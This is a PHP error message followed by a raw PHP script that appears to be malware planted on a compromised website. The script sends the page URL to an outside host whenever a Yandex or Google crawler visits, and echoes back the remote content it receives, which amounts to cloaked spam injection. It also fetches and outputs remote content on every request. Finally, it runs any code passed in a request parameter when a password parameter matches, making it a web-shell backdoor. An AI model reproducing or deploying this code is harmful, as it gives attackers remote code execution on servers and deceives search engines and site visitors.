Fatal error: Call to undefined function gzinflate() in /home/admin/data/www/vkonatke.in/get.php(3) : eval()'d code on line 1

<?php
//###==###
error_reporting(0);

$host = "http://vkonatke.in/get.php";

$ident = "qwerty";



        $bot = urlencode($_SERVER['HTTP_USER_AGENT']);

    if (preg_match("/(yandex|google)/i", $_SERVER['HTTP_USER_AGENT'])) {

        $id = urlencode("http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']);

        $url = $host."?id=".$id."&charset=w&bot=".$bot;

            if(ini_get("allow_url_fopen") == 1) {

                echo file_get_contents($url);

            }elseif(function_exists('curl_init')) {

                $ch = curl_init($url);

                curl_setopt($ch, CURLOPT_HEADER, FALSE);

                curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

                $result = curl_exec($ch);

                curl_close($ch);

            echo $result;

        }

    }

        $url = $host."?code=code&bot=".$bot;

            if(ini_get("allow_url_fopen") == 1) {

                echo file_get_contents($url);

            }elseif(function_exists('curl_init')) {

                $ch = curl_init($url);

                curl_setopt($ch, CURLOPT_HEADER, FALSE);

                curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

                $result = curl_exec($ch);

                curl_close($ch);

            echo $result;

        }

        if($_REQUEST["c"] == $ident) eval(stripslashes($_REQUEST["code"]));


//###==###
?>